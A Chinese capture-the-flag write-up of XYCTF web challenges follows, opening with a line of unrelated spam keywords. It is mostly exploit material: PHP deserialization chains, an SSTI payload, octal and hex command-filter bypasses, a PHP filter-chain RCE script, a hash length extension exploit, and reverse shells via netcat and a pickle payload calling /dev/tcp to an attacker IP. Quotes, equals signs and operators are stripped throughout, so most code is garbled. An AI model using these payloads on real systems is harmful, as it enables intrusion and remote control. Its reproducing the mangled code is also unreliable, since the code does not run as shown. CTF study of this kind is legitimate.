自己做培训网站,福州市晋安区建设局网站,做app 的模板下载网站有哪些内容,温州网站建设推广服务目录
warm up
ezMake
ezhttp
ezmd5
牢牢记住#xff0c;逝者为大
ezPOP
我是一个复读机
ezSerialize
第一关
第二关
第三关
第一种方法#xff1a;
第二种方法#xff1a;
ez?Make
方法一#xff1a;利用反弹shell
方法二#xff1a;通过进制编码绕过
ε…目录
warm up
ezMake
ezhttp
ezmd5
牢牢记住逝者为大
ezPOP
我是一个复读机
ezSerialize
第一关
第二关
第三关
第一种方法
第二种方法
ez?Make
方法一利用反弹shell
方法二通过进制编码绕过
εZ?¿мKε¿?
ezRCE
ezClass
方法一SplFileObject读取文件
方法二 : Error的getMessage
ezLFI
连连看到底是连连什么看
give me flag
login
pharme 有些是比赛的时候写的大部分是赛后看wp复现的 warm up
?phpinclude next.php;
highlight_file(__FILE__);
$XYCTF Warm up;
extract($_GET);if (isset($_GET[val1]) isset($_GET[val2]) $_GET[val1] ! $_GET[val2] md5($_GET[val1]) md5($_GET[val2])) {echo ez . br;
} else {die(什么情况,这么基础的md5做不来);
}if (isset($md5) $md5 md5($md5)) {echo ezez . br data-tomark-pass;
} else {die(什么情况,这么基础的md5做不来);
}if ($XY $XYCTF) {if ($XY ! XYCTF_550102591 md5($XY) md5(XYCTF_550102591)) {echo $level2;} else {die(什么情况,这么基础的md5做不来);}
} else {die(学这么久,传参不会传?);
}
md5($_GET[val1]) md5($_GET[val2])) : md5弱比较数组绕过 md5md5(md5 md5(md5md5(md5) : 双md5 extract() : 可以变量覆盖 XYCTF_550102591 md5值为 0e937920457786991080577371025051 s1502113478amd5值为 0e861580163291561247404381396064
GET 传参 ?val1[]1val2[]2md50e00275209979XYs1502113478aXYCTFs1502113478a
到第二关 LLeeevvveeelll222.php
?php
highlight_file(__FILE__);
if (isset($_POST[a]) !preg_match(/[0-9]/, $_POST[a]) intval($_POST[a])) {echo 操作你O.o;echo preg_replace($_GET[a],$_GET[b],$_GET[c]); // 我可不会像别人一样设置10来个level
} else {die(有点汗流浃背);
}
intval参数如果是有内容的数组返回1 post 传参 a[]1
preg_replace的RCE/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
?a/test/ebsystem(cat /flag)cjust test 直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c}
ezMake
语法问题echo $(shell cat f*) 或者$(shell cat f*) 直接访问 /flag 可以下载附件存在flag 目录扫描)
ezhttp
爆破 用户名XYCTF 密码JOILha!wuigqi123$
仿造http头 User-Agent: XYCTF Referer: yuanshen.com Client-IP:127.0.0.1 Connection: keep-alive Via: ymzx.qq.com Cookie: XYCTF
ezmd5
网上直接找两张MD5值相同的图片提交就可以得到flag 牢牢记住逝者为大 绕过前面的 # : 使用换行符的url编码 %0a 使后面 cmd GET传参的命令可以正常执行 再使用 ; #闭合 注释掉后面 的 ,mamba out 要不然总会报错
过滤了好多东西又有长度限制 尝试了蛮久的都不行不晓得中间要写什么命令了
?cmd%0a ;%23
看完wp后中间写上
$_GET[1] 绕过长度限制这个长度为13是卡得正正好啊写的时候用的 $_POST[1] 长度超了就放弃了还真就没想到 $_GET[1]
?cmd%0a$_GET[1];%231cp /flag 1.txt
(将flag文件里面的内容复制到 1.txt里面去直接访问1.txt 得到flag)
不能 cat /flag 转八进制试了好久不晓得为啥
转成八进制
?cmd%0a$_GET[1];%231$\143\160$\57\146\154\141\147$\61\56\164\170\164然后直接访问1.txt ,拿到flag这道题看其他人的wp, 是可以去反弹shell的?cmd%0a$_GET[1];%231nc ip 端口 -e /bin/sh ezPOP
?phphighlight_file(__FILE__);
class AAA{public $s;public $a;public function __toString(){echo you get 2 A br;$p $this-a;return $this-s-$p;}
}class BBB{public $c;public $d;public function __get($name){echo you get 2 B br data-tomark-pass;$a$_POST[a];$b$_POST;$c$this-c;$d$this-d;if (isset($b[a])) {unset($b[a]);}call_user_func($a,$b)($c)($d);}
}
class CCC{public $c;public function __destruct(){echo you get 2 C br data-tomark-pass;echo $this-c;}
}if(isset($_GET[xy])) {$a unserialize($_GET[xy]);throw new Exception(noooooob!!!);
}// pop链//CCC类-__destruct -- AAA类-__toString--BBB类-__get --call_user_func( , )()()//POST传参 aimplode bsystem// implode() 将数组的值拼接为一个字符串 ; b是一个数组参数$anew CCC();
$a-cnew AAA();
$a-c-snew BBB();
$a-c-s-cls /;
$a-c-s-dhello;
//d随便填, system(ls)(hello)不影响命令执行$barray($a,0); //绕过throw 最后还需要将 i:1 -- i:0echo serialize($b);
//a:2:{i:0;O:3:CCC:1:{s:1:c;O:3:AAA:2:{s:1:s;O:3:BBB:2:{s:1:c;s:4:ls /;s:1:d;s:5:hello;}s:1:a;N;}}i:1;i:0;}//a:2:{i:0;O:3:CCC:1:{s:1:c;O:3:AAA:2:{s:1:s;O:3:BBB:2:{s:1:c;s:4:ls /;s:1:d;s:5:hello;}s:1:a;N;}}i:0;i:0;}//XYCTF{28f226e7-a5a7-485d-972e-4c58d8abbb3e}
我是一个复读机
username : admin 密码asdqwe
关键在于要有中文还是一个中文一个{}两个中文就是{{}}三个中文又是{}做题的时候就是卡在这里了题目说了只是一个会说英文的复读机之前还真就没去试过中文直接就放弃了
不然 {{}} 和 {%%}都被过滤了无法ssti注入 直接使用 request
payload
离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()a__class__b__base__c__subclasses__d__getitem__e__init__f__globals__gpopenhcat /flag//XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}ezSerialize
第一关
第一步符号的运用直接传参 ?popO:4:Flag:2:{s:5:token;i:1;s:8:password;R:2;}
结果 fpclosefpclosefpcloseffflllaaaggg.php
第二关
?php
highlight_file(__FILE__);
class A {public $mack;public function __invoke(){$this-mack-nonExistentMethod();}
}class B {public $luo;public function __get($key){echo o.Obr;$function $this-luo;return $function();}
}class C {public $wang1;public function __call($wang1,$wang2){include flag.php;echo $flag2;}
}class D {public $lao;public $chen;public function __toString(){echo O.obr data-tomark-pass;return is_null($this-lao-chen) ? : $this-lao-chen;}
}class E {public $name xxxxx;public $num;public function __unserialize($data){echo br data-tomark-pass学到就是赚到!br data-tomark-pass;echo $data[num];}public function __wakeup(){if($this-name! || $this-num!){echo 旅行者别忘记旅行的意义!br data-tomark-pass;}}
}if (isset($_POST[pop])) {unserialize($_POST[pop]);
}$anew E();
$a-numnew D();
$a-name;
$a-num-laonew B();
$a-num-lao-luonew A();
$a-num-lao-luo-macknew C();
echo serialize($a);
//O:1:E:2:{s:4:name;s:0:;s:3:num;O:1:D:2:{s:3:lao;O:1:B:1:{s:3:luo;O:1:A:1:{s:4:mack;O:1:C:1:{s:5:wang1;N;}}}s:4:chen;N;}}//开始就是 没有$a-name; 这一步导致一直不能执行成功一直卡着
然后又进入到下一关saber_master_saber_master.php
第三关
?phperror_reporting(0);
highlight_file(__FILE__);// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public function __construct($Liu, $T1ng, $upsw1ng Showmaker){$this-Liu $Liu;$this-T1ng $T1ng;$this-upsw1ng $upsw1ng;}
}class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this-crypto0 $crypto0;}public function XYCTF(){if ($this-adwa-crypto0 ! dev1l or $this-adwa-T1ng ! yuroandCMD258) {return False;} else {return True;}}
}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght Crypto0;public function __construct($KickyMu, $fpclose){$this-KickyMu $KickyMu;$this-fpclose $fpclose;}public function XY(){if ($this-N1ght oSthing) {echo WOW, You web is really good!!!\n;echo new $_POST[X]($_POST[Y]);}}public function __wakeup(){if ($this-KickyMu-XYCTF()) {$this-XY();}}
}if (isset($_GET[CTF])) {unserialize($_GET[CTF]);
}第一种方法
在类里面做一些相应的更改 关键点绕过 if ($this-adwa-crypto0 ! dev1l or $this-adwa-T1ng ! yuroandCMD258) 直接在 XYCTFNO1 类里面添加属性$crypto0 再更改相应的__construct 赋值 在 XYCTFNO3 类里面直接给 $N1ght oSthing 赋值 最后利用到 new $_POST[X]($_POST[Y]); ,使用 SplFileObject 读取文件flag.php post传参 XSplFileObjectYphp://filter/convert.base64-encode/resourceflag.php (直接读flag.php 没有回显所以使用伪协议)
?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public $crypto0;public function __construct($T1ng, $crypto0){$this-T1ng $T1ng;$this-crypto0$crypto0;}
}class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this-crypto0 $crypto0;$this-adwa$adwa;}}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght oSthing;public function __construct($KickyMu, $fpclose){$this-KickyMu $KickyMu;$this-fpclose $fpclose;}}$a new XYCTFNO3(new XYCTFNO2(dev1l,new XYCTFNO1(yuroandCMD258,dev1l)),1);
echo serialize($a);
//O:8:XYCTFNO3:3:{s:7:KickyMu;O:8:XYCTFNO2:2:{s:7:crypto0;s:5:dev1l;s:4:adwa;O:8:XYCTFNO1:4:{s:3:Liu;N;s:4:T1ng;s:13:yuroandCMD258;s:17: XYCTFNO1 upsw1ng;N;s:7:crypto0;s:5:dev1l;}}s:7:fpclose;i:1;s:5:N1ght;s:7:oSthing;}
第二种方法
利用 stdClass() 类实例化直接赋值 $crypto0 dev1l $T1ng yuroandCMD258 post传参依旧是 XSplFileObjectYphp://filter/convert.base64-encode/resourceflag.php 读取文件
?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;
}class XYCTFNO2{public $crypto0;public $adwa;
}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght Crypto0;
}if (isset($_GET[CTF])) {unserialize($_GET[CTF]);
}$anew XYCTFNO3();
$a-N1ghtoSthing;
$a-KickyMunew XYCTFNO2();
$a-KickyMu-adwanew stdClass();
$a-KickyMu-adwa-crypto0dev1l;
$a-KickyMu-adwa-T1ngyuroandCMD258;echo serialize($a);
//O:8:XYCTFNO3:3:{s:7:KickyMu;O:8:XYCTFNO2:2:{s:7:crypto0;N;s:4:adwa;O:8:stdClass:2:{s:7:crypto0;s:5:dev1l;s:4:T1ng;s:13:yuroandCMD258;}}s:7:fpclose;N;s:5:N1ght;s:7:oSthing;}
ez?Make
方法一利用反弹shell
nc ip 端口 -e sh之前一直没能够复现成功结果竟然是端口的问题用80端口就可以连接用其他的端口就连接不了有点奇怪我明明把所有的端口都打开了啊有点不能理解浪费几个小时方法二通过进制编码绕过
echo 636174202F666c6167 | xxd -r -p前面的十六进制表示 cat /flag 通过 反引号执行
(因为f被过滤了将f大写绕过不影响命令执行)xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出即“reverse”或“reconstruct”。-p 选项表示输入是纯十六进制没有地址、偏移或其他信息echo 输出十六进制字符串 636174202F666c6167。
通过管道 |这个输出被传递给 xxd 命令。
xxd -r -p 将这个十六进制字符串转换为它的二进制表示并输出相应的ASCII字符。//XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}εZ?¿мKε¿?
看着wp写也是有点没看懂简单记录一下 主要也是学到了 $() 能够执行命令 能够将东西输入到命令中 makefile的特定语法需要 $$ ezRCE
?php
highlight_file(__FILE__);
function waf($cmd){$white_list [0,1,2,3,4,5,6,7,8,9,\\,\,$,]; $cmd_char str_split($cmd);foreach($cmd_char as $char){if (!in_array($char, $white_list)){die(really ez?);}}return $cmd;
}
$cmdwaf($_GET[cmd]);
system($cmd);无字母RCE Linux终端可以通过 $\xxx 的方式执行命令xxx是字符ascii码的八进制形式 $\154\163 ls 可以执行 但是 $\154\163\40\57 ls / 无法执行,会被解析成字符串无法执行命令 所以就需要用到 在Linux中“”是一个称为Here String的特殊操作符。它的作用是将字符串的内容作为输入传递给命令 以及 $0 相当与bash 所以 000\154\163\40\57 就可以执行命令了
?cmd000\143\141\164\40\57\146\154\141\147 cat /flag 拿到flag
XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de}
ezClass
?php
highlight_file(__FILE__);
$a$_GET[a];
$aa$_GET[aa];
$b$_GET[b];
$bb$_GET[bb];
$c$_GET[c];
((new $a($aa))-$c())((new $b($bb))-$c());方法一SplFileObject读取文件
SplFileObject 加上 php伪协议 读取文件 调用__toString() 方法得到字符串
get传参
anew SplFileObject
aaphp://filter/readconvert.base64-encode/resource/flag
c__toString解密XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684}
这是直接猜在根目录下有一个flag文件要是把flag文件换个名就需要读取目录了但网上搜了一下读目录的 DirectoryIterator类 glob://协议 遍历目录但没能成功读不到目录可能不适合这道题或者我哪里搞错了有点懵
方法二 : Error的getMessage
?php
$anew Error(system);
echo $a-getMessage();//可以输出system
所以get传参
?aErroraasystembErrorbbcat /flagcgetMessageezLFI
在index.php中可以看到代码
?php include_once($_REQUEST[file]);直接现成的脚本把地址写上去直接输出了flag 这道题之前倒是做过类似的绕过 include_once(); 但是原理方面不太理解
import requestsurl http://gz.imxbt.cn:20208/
file_to_use /etc/passwd
command /readflag#?$_GET[0];;?
base64_payload PD89YCRfR0VUWzBdYDs7Pz4conversions {R: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2,B: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2,C: convert.iconv.UTF8.CSISO2022KR,8: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2,9: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB,f: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213,s: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61,z: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS,U: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932,P: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213,V: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5,0: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2,Y: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2,W: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2,d: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2,D: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2,7: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2,4: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2
}# generate some garbage base64
filters convert.iconv.UTF8.CSISO2022KR|
filters convert.base64-encode|# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters convert.iconv.UTF8.UTF7|for c in base64_payload[::-1]:filters conversions[c] |# decode and reencode to get rid of everything that isnt valid base64filters convert.base64-decode|filters convert.base64-encode|# get rid of equal signsfilters convert.iconv.UTF8.UTF7|filters convert.base64-decodefinal_payload fphp://filter/{filters}/resource{file_to_use}r requests.get(url, params{0: command,action: include,file: final_payload
})print(r.text)#XYCTF{878ce487-4b88-4683-ae70-7cfd8af42803} 连连看到底是连连什么看
打开index.php文件 进入到whats_this.php
?php
highlight_file(__FILE__);
error_reporting(0);$p$_GET[p];if(preg_match(/http||php|file|:|\/|\?/i, $p))
{die(waf!);
}$payloadphp://filter/$p/resource/etc/passwd;if(file_get_contents($payload)XYCTF){echo file_get_contents(/flag);
}
https://github.com/synacktiv/php_filter_chain_generator
需要用伪协议构造一个 XYCTF 用这个项目运行生成
第一种方法
需要将XYCTF进行几次 base64编码
命令
python php_filter_chain_generator.py --chain Vm1wQ1lXTXhTa2RYYTFwWVZWRQVm1wQ1lXTXhTa2RYYTFwWVZWRQ --- XYCTF 5次base64解码但是 XYCTF 五次 base64编码只能得到 -- Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09
用这个去运行的话却不能得到flag感觉不应该啊刚开始没注意一直弄不出来也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的
不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF
先暂时放着第二种方法
python3 php_filter_chain_generator.py --chain XYCTF然后复制下payload之后使用string.strip_tags过滤器绕过
strip_tags 从字符串中去除 HTML 和 PHP 标签 得到的结果还需要进行解码编码了几次就需要解码几次 payload?pconvert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decodeXYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199}
give me flag
?phpinclude(flag.php);
$FLAG_md5 md5($FLAG);
if(!isset($_GET[md5]) || !isset($_GET[value]))
{highlight_file(__FILE__);die($FLAG_md5);
}$value $_GET[value];
$md5 $_GET[md5];
$time time();if(md5($FLAG.$value.$time)$md5)
{echo yes, give you flag: ;echo $FLAG;
}
a3a9ab37346c02e4a88deae16415f4c3考察hash长度扩展攻击 文章https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/ https://www.cnblogs.com/yunen/p/13624595.html
利用工具https://github.com/shellfeel/hash-ext-attack?tabreadme-ov-file
扩展字符输入的是一个未来的时间戳就是未来几分钟的 密钥长度就是 flag 的长度flag长度是固定的 payload:
?value%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00md5979a816bd7b50f44ba4113655f68e2c4value 的值是新明文去掉后面的时间戳因为题目 $FLAG.$value.$time 已经是把时间戳加上去的
md5 的值就是新生成的hash再写一个简单的脚本不断的请求当时间接近我们输入的时间戳就可以得到flag
import requestsurlhttp://gz.imxbt.cn:20249/?value%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00md5979a816bd7b50f44ba4113655f68e2c4while True:resrequests.get(urlurl)if { in res.text:print(res.text)break XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d}
login
打开网站是一个登录的界面目录扫描可以扫描出 /register.php 注册一个账号再登录可以在cookie里面找到一个 RememberMe base64解码一下 有登录的 用户名和密码 的信息 python的pickle反序列化 ,反弹shell
import base64
a b(cos
system
Sbash -c bash -i /dev/tcp/[ip]/80 01
o.print(base64.b64encode(a))# c 获取一个全局对象或import一个模块 写法 c[module]\n[instance]\n 获得的对象入栈# S 实例化一个字符串对象 写法Sxxx\n也可以使用双引号、\等python字符串形式 获得的对象入栈# ( 向栈中压入一个MARK标记 MARK标记入栈# o 寻找栈中的上一个MARK以之间的第一个数据必须为函数为callable第二个到第n个数据为参数执行该函数或实例化一个对象 这个过程中涉及到的数据都出栈函数的返回值或生成的对象入栈 pharme
查看源码class.php, 访问
?php
error_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;public $a;public function __destruct(){if(ch3nx1 preg_replace(/;/,ch3nx1,preg_replace(/[A-Za-z_\(\)]/,,$this-cmd))){eval($this-cmd.isbigvegetablechicken!);} else {echo nonono;}}
}if(isset($_POST[file]))
{if(preg_match(/^phar:\/\//i,$_POST[file])){die(nonono);}file_get_contents($_POST[file]);
}if(ch3nx1 preg_replace(/;/,ch3nx1,preg_replace(/[A-Za-z_\(\)]/,,$this-cmd))) 表明无参数rce
eval($this-cmd.isbigvegetablechicken!) 使用halt_compiler()绕过 去中断编译执行使其后面的字符不被解析
if(preg_match(/^phar:\/\//i,$_POST[file])) 使用php伪协议绕过
构造phar包使用gzip命令压缩上传再改后缀为 png , 上传 http请求 在最后一个请求加上 SSsystem(cat /flag); 执行命令 post传参filephp://filter/convert.base64-encode/resourcephar:///tmp/fb5c81ed3a220004b71069645f112867.png
?php
error_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;
}$anew evil();
$a-cmdeval(end(getallheaders()));__helt_compiler();;
$pharnew Phar(1.phar);
$phar-startBuffering();
$phar-setStub(GIF89a.?php __HALT_COMPILER;?);
$phar-setMetadata($a);
$phar-addFromString(1.txt,111);
$phar-stopBuffering();